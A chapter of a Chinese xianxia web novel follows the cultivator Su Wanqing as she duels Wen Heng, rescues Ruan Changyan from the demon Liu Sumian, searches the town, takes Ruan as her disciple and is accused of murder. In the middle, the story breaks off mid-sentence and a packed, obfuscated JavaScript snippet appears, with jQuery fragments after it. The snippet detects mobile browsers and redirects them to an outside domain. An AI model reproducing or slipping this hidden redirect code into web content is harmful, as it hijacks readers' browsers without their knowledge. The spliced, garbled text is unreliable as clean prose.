闻他言,苏晚清也道:“我也听闻天魔宗的少主温衡,是位能人,我正好也想与你堂堂正正地比试一场。不过,既是比试,就得有赌注。我若赢了,还请温公子履行承诺;输了,就任凭你处置。”
“除了凌霄,还没有人能胜我。”若不是清风明月派的凌霄趁机夺取了他的命剑,他何愁无法器傍身,那些夺来的法器终究不是自己的,用着不顺手。
她也从未失手,面对男子的话同样毫不逊色地道:“那么今日将会多一个名为苏晚清的女子。”
苏晚清召出憾山剑,层层灵力自她周身萦绕,她奋力接下男子的一剑,借力往上一踢,正巧踢在了他的昆玉剑上。
他作势落下一击,苏晚清加重力道,以回旋之力于空中翻了一下后落在地面。袭来的黑色长剑直冲她的心口而来,她滑跪躲过,点地而起,反手执剑刺去。
两剑相碰,玄、朱色气息相互缠绕与吞噬,引得四周的风撕扯着散落的树叶,盘旋于他二人之间。偌大的灵力将温衡逼退至清水居的清水湖,他显然有些吃力,依旧支撑着,不松手。
忽然在此时,他召起另外的法器——箜篌引,另外一只手暗暗施法,弹动其中之弦,弹出的乐章化作利刃直击苏晚清。
月色朦胧之下,两人的剑碰撞得火花四溅,他们皆朝两方后移,两处湖水迸发向上,洒向对方。
微冷的湖水洒在身上,加深了夜的寒冷,两人不约而同地挥袖,除去了一些碍事的麻烦。
“暗箭伤人,这可是下作小人的行径。”正当苏晚清打算毁了他的箜篌引,却发现他收了回去,转而笑道:“我从来都不是正人君子,若能赢,我可以不择手段。”
苏晚清听到他的话也表示附和,笑意浅浅,眼底流露出真挚之色:“巧了,我也可以为了我的目的不择手段,这一点,我与温公子不谋而合。”
两人旗鼓相当,难分伯仲。
苏晚清绝不会让他有赢的机会,纵使是两败俱伤。她默念咒语,召出瑶光镜,金色的光芒倒映在湖色里,三千光刃拢聚成剑,袭向温衡。
温衡转了转手中之剑,融于剑身,穿透而过,却在即将抵达她身旁时被憾山剑挡住,逼退了几步,他悬于长空,挥剑向湖面。
水起涟漪,泛滥而来,隆起巨大的水柱,听他号令,尽数与那光束相互抵抗。
这时,岸边忽然传来一声听上去极为担忧的声音:“苏姐姐,苏姐姐,唔唔唔——”
声音化为呜咽,苏晚清循声而去,却见阮长言被柳宿眠掐住脖子,提了起来,他的双腿离了地面,不断地挣扎着。
“苏晚清,你是要他死还是活?”柳宿眠一袭红衣在月色显得格外地煞眼,这样美丽的女子一心只想杀戮,着实难捱。
眼见柳宿眠的力道加重了许多,阮长言吃痛地叫了起来,依旧在挣扎。
“苏晚清,只要你现在自封灵力,我就考虑放了这个孩子,否则——我就杀了他!”
她担忧地看过去,又转过身瞪着温衡,被瞪的男子摊了摊手,表示与自己无关。
“放了他,我答应你的要求。”苏晚清观察两人的动静,只须四息,她便有机会。
温衡看向底下,抱着看热闹不嫌事大的心态,道:“对,就这么做。”
“姓温的,你与这妖女勾结,戕害我兄长,真是该死。等我收拾苏晚清,就来收拾你。”
借着温衡与柳宿眠交谈之际,她一剑划过温衡的头顶,踢在他的腰间,借以力量瞬间来到柳宿眠的身侧,夺取武器,一掌击中了左护法的胸膛。
阮长言被她护在身后,小心翼翼地拉着她的衣角,不敢探出头来,过了一会儿才敢直视。
苏晚清不给柳宿眠反应的机会,光圈化作桎梏将其禁锢在内,透明的剑正欲刺中其人,关键之际温衡出手将其阻拦,耳畔闻来他的声音:“宿眠,你不是她的对手。”
“你助我一起杀了苏晚清!事成之后,功劳归你。”柳宿眠倒在地上,看着男子的剑挡在苏晚清的剑,以为他们是殊途同归,可温衡接下来的话却让她大吃一惊。
温衡现在并不想要她的性命,拦下苏晚清的攻击对着柳宿眠道:“她现在还不能死。我还有用。”
苏晚清白了他一眼,正欲动手,柳宿眠突然将攻击转向身后的阮长言,趁机逃离了清水居。
“她是妖?什么妖?”她站在阮长言旁边,替其检查是否受伤,探了脉才肯放下心来,也不追溯柳宿眠的去踪。
她的问题,还真是独具一格。
温衡同她一起收了法器,于她身后,打趣道:“如你一般的狐狸精。你要更高一筹。”他的语气听起来还有几分轻佻,听来着实不爽。
“如我?此话何意?”苏晚清看着姗姗来迟的侍女,吩咐其将阮长言带下去休息,顺道将几张灵符交给他们,以便可不受妖邪侵扰。
她忽然靠近他,语中多了一丝意味:“温公子道心不稳,便不要将自己的欲望强加在我的身上。”
“现在,不会有人来打扰你我了。”
话音刚落,他的剑再次靠在了她的肩膀上,男子爽朗的笑声经风传入耳中,不等他反应,苏晚清将他的剑握在手里,汇集灵力于掌心,灵力连带血气一齐袭向了他。
她的鲜血有增强灵力的功效,温衡虽然已经反应过来,但也挨不下苏晚清的第二道攻势。
她将他逼退至湖岸。
一击,迅速将人击入湖中。
温衡在落入湖中之前,反手扣住她的衣角,将她一起拉了下去。
两道人影一前一后扑蹬地落了湖中倒映的月色中,平静的水掀起波浪,掀起一层又一层的涟漪,从岸上来看,已经能看到水中两人交手的动作。
一直持续了半个时辰,以女子为胜,先一步冲出湖面,扬起的水渍落在花草,沾了水汽。
苏晚清一挥手,将平静了半刻的湖水炸开,水花迸溅而来,男子亦衣衫湿透自湖底上来,故意站在她的眼前,又是泼了苏晚清一脸冷水。
她擦了擦脸,后退一步,也以其人之道反制其人之身,泼了回去。
“试出来了吗?”她突然开口道。
温衡被她问得一懵,“什么?”
苏晚清道:“你特意寻我麻烦,不就是为了逼我使出释天诀的灵力吗?”
他的眼里多了几分兴趣,他道:“你很聪明,苏晚清。我只负责试探,剩下的不归我管。”
“无妨,纵使是你,也未必赢得了我。”她本就是故意暴露的,那些东西不过身外之物,能引出藏在暗处的人最好。
温衡的话停在嘴边,不知是气笑的还是怎么的,也未见生气。
他提起浸湿的衣袖,再次甩了一下,那副眼神仿佛在挑衅般,他说道:“未必,我的秘密怎么会知道?”
苏晚清立即施法将他们湿透了的衣服熏干,道:“你能知道我从前做了什么,我亦能知晓你做了什么。”
言尽于此,他没有要走的意思。
“装神弄鬼。”
想到此,苏晚清道:“装神弄鬼也好,光明磊落也罢,只要结果是我想要的,过程都不重要。”
“这一点我们倒是心意相通。”
苏晚清自诩能够打得过他,也不必卑躬屈膝,该如何便如何。
也罢,他也不是个喜欢勉强之人,他定下时间地点,要苏晚清准时抵达,若差一分一毫都算她违约。
在他离去之际,苏晚清还是将心中的疑问道出:“温衡,你到底想做什么?你为何会答应我的要求?”
“想做的事情多了。明日戌时,鬼城如意楼天字一号,不见不散。”
温衡的声音落在风中,徐徐传入她的耳中,待她想再询问却已不见男子的身影。
之前的研究有误,她得回去将关于温衡的那一页修改,看来传闻也非真实,诸多事实有待探寻调查。
夜中的寂静再次使她冷静下来,脑海里关于温衡的思考逐渐减少,转由逃离的柳宿眠代替。
她还是不放心柳宿眠。
柳宿眠已经身受重伤,难保不会对百姓下手,她得在山阳县好好巡视一番。
事不宜迟。
行动始于心动,她站在门外,念着咒语,若手掌大的铜镜从她的眉间出现,被苏晚清送到了清水居的悬空上方,连接着四周的结界。
这样一来,无论是妖邪还是修士,都不可踏入清水居,长言他们也能睡个安稳的觉。
除了东巷有几丝柳宿眠残留的气息外,并无任何发现,她走近气息最为明显的屋子前,里面灯火葳蕤,时不时传来几声嬉笑打闹的声音。
她上前敲了敲门,回应她的是一阵沉默,她耐着心子又敲了一下,正当她准备破门而入时,店家一脸不耐烦地开了门。
那一刻,苏晚清眼中的厌恶瞬间袭来,这张脸是她不想看到的,也是在她心中如此丑恶的人。
店主一瞧是她,轻哼出声,那双不怀好意的眼睛上下打量着苏晚清,她威胁似的瞪了其人几眼,道明来意:“杨老板,你的眼睛再四处乱看,我就剜了它。你家中可有异样的地方?”
这个人是杨焕,杀她恩人的罪魁祸首,至今未得到应有的报应,这等罪大恶极的孽由他的夫人代为承受,当真是世风日下。
若不是恩人临终前曾留下一封信,要留杨焕一条性命,否则无论如何她都不会让杨焕好好活着。
被女子这么瞪着,杨焕也有几分畏惧,他眼睛一转,几乎是脱口而出:“不知道不知道。有多远走多远。走走走,别碍事。”
柳宿眠的气息明明就在此处她的探息不会有误,她的视线落在杨焕的身后,正欲走入内,出于对百姓的安危着想,苏晚清不能不防,她道:“既然无事,你杨老板可否请我进去坐坐?”
杨焕只想赶紧将她打发走,没等她踏出一步,推了她一把,立即将门给关上了,那声音在苏晚清听来无比急促:“滚,别来找事。我是看在沈兄与嫂子的份上才不与你计较,有多远滚多远,别来烦我。”
苏晚清站在原地,思量几下,自下而上,踏过屋顶,径直来了内院。
两掌相对,四五张符咒自发贴在四方,隐隐约约有细线将它们牵连,等杨焕关了门来到后院瞧见苏晚清的身影,更是气急败坏地指着她走过来:“苏晚清,你擅闯民宅,我要去告官!”
苏晚清一个狠厉的眼神袭来,直接将其震慑住,她在这里查了半炷香,也没有发现任何可疑的地方。
不过在检查他房间时发现了零散的女子亵衣,有一些被撕碎,弄得四处皆是星碎的衣服碎片,她拿着地上的碎片,嗅了一下——不是柳宿眠留下的,只有这里青楼女子用过遗留的胭脂水粉味。
欢爱的气息格外浓烈,苏晚清生理心理有些不适。
杨焕一脸嫌弃地看着苏晚清,心里觉得她真是重口味,联想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744760|172794||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到苏晚清的意图,又在暗自窃贼道:“阿凝,还说你对兄长没存别的心思,口是心非,正好你嫂子离世已久,你愿不愿意嫁我,我这里有……你!”
他的话刚刚落下,苏晚清的憾山自动锁定他,勾着杨焕的脖颈,苏晚清冷冷的话落在他的耳中:“我为除妖而来,不为别的。”
“我知道,女儿家都是脸皮薄的,阿凝每次路过这里都会偷偷看我,还说不是喜欢我?”
他哪来的自信?真当自己是潘安了。
憾山这才在他的肩颈划下一横,苏晚清见状赶紧收回了剑,回他以睥睨的眼神。
她道:“杨老板,你别自作多情了。我们之间的恩怨未了,我希望杨老板可以藏好,毕竟现在已经没有杨夫人再替你顶罪。”
话竟也能被人说得如此肮脏,苏晚清观这里也妖气顿无,县中百姓的安危系在她的身上,她不能在此逗留太久。
“符咒可拦妖邪,杨老板若是惜命,就好好待在里面。”
眼见无事,她便离开这令她感到十分不爽的地方,继续前往下一处地方调查。
林林总总花了她两个时辰,山阳的百姓少说也有八万户,起初她还能一家一家地搜寻,这样下来花费的时间实在太多,她只能借憾山一剑,令它执行贴符一事,而她则探息并隐去灵符的存在,以防百姓晨起时见到家中莫名多了几张黄符而惊慌失措。
今夜无收获,并没有柳宿眠的身影。至少她可以暂护百姓安危。
她终于可以小憩了,她推开房门躺在离开已久的爱床,翻了几下,摘下发簪,褪去外衣。
盖上柔软的被褥,终是阖上了双眼,忙碌了许久,可算能歇息了。
*
次日一早,女子睁开双眼,瞧了一眼刻漏,已是巳时。
从前都是辰时起,今日倒是晚了一些。她换好衣物,洗漱过后推开房门,想着先走走,散散困意。
走到院子外。
院子里传来一声唉声叹息,紧接着是瓷器脆裂砸地的声音,她推开门,走了进去。
十三岁少年的脸在日光的照射下涨红了许多,眼神满是幽怨,仿佛下一刻,阮长言就要止不住内心的情绪。
她的目光从他的身上移开,落在一片狼藉的地面——被撕了几篇的书、破碎的杯盏、笔墨纸砚以及几张看上去歪八扭七的灵符。
她轻声道:“怎么了?”
阮长言瞧见苏晚清,就像涸辙之鲋有了希望般,猛地冲过来抱着她,眼中的泪花泛起涟漪,滴落在她的裙角。
“苏姐姐,我是天下最蠢最笨的人,什么都学不会,什么都听不懂,我保护不了姐姐,也保护不了苏姐姐……我是不是一点天赋都没有?”
苏晚清像个长辈一样,轻轻拍着他的背,愿能予他安稳,任他哭泣,也不责备。
等他缓解过后,松开了苏晚清,一脸赧颜地看着她,真切地等着她给的回应。
“先将这里收拾好,我再告知你。”
少年的脾气来得快,去得也快。两三下便将狼藉去除,还于此地一片干净。
“长言,你可知道?我也不是个有天赋之人,苏姐姐如今的灵力是苦修了十三年才铸就的。我不似大师兄那般天赋异禀,每一步都只能练三日四日,其他弟子只须一日便可练会。你要相信,天赋很重要,但努力也可胜过天赋。”
她抚着阮长言的脑袋,语中也不由得深沉了许多,回望初入清风明月山时,她也曾陷入阮长言现今的困境,那时她一度陷入惆怅、甚至想过靠死亡来解脱。
可后来,师尊点醒了她,若是有毅力与决心,何愁不能实现心中所愿。
阮长言感觉心里好受了一点,但脸上仍然挂着焉气,迟疑地开口:“苏姐姐,纵使我现在平平无奇,真的也可以像你一样厉害吗?”
女子忽然起身,离开了这个地方,过了一会儿拿着一本厚重的书籍过来,放在他的面前,道:“当然可以。这是我十三年来修炼的心得,现在赠你。切记,冰冻三尺非一日之寒,不可三天打鱼,两天晒网。”
她的话落在了阮长言的心中,他沉默了一会儿,似在思考着什么。下一刻,他忽然跪在地上,磕了三个响头,欣喜地喊道:“师父在上,请受徒儿一拜。”
接着,他拿着石桌上的茶,双手奉上。
“苏姐姐,我一早便想拜你为师了,我想成为如苏姐姐一般厉害的人物,能做己事,不问他人言。我不怕苏姐姐的仇家追杀,姐姐已死,我再无眷恋。苏姐姐,你答应我吧。”
他眼中的殷殷期待,如星辰闪亮,拒绝了怕是得让他难过。她笑了一下,接过阮长言递过来的茶,扶他起身,道:“既拜了师,唤声师父来听听。”
阮长言闻言抬头,笑容如花绽放,立即道:“师父!师父!师父!”连唤了好几声。
“嗯,我对徒弟的要求极高,你若懈怠,我必重罚。”她放下狠话,也仅是狠话而已。
阮长言知她脾气,附和道:“知道了,师父。师父饿不饿?弟子去给你端来饭菜。”
她抬手,表示不用,自己想再多走走,阮长言听后也要与她一起,之前未发现这少年竟如此粘人。
刚走了几步,清水居门外便迎来了敲门声,侍女去开时,一列官府的人冲了进来,为首的人是知县叶远山。
“苏晚清,有人报案,说你昨夜潜进杨庄布料里杀害了杨焕,随我回趟衙门吧。”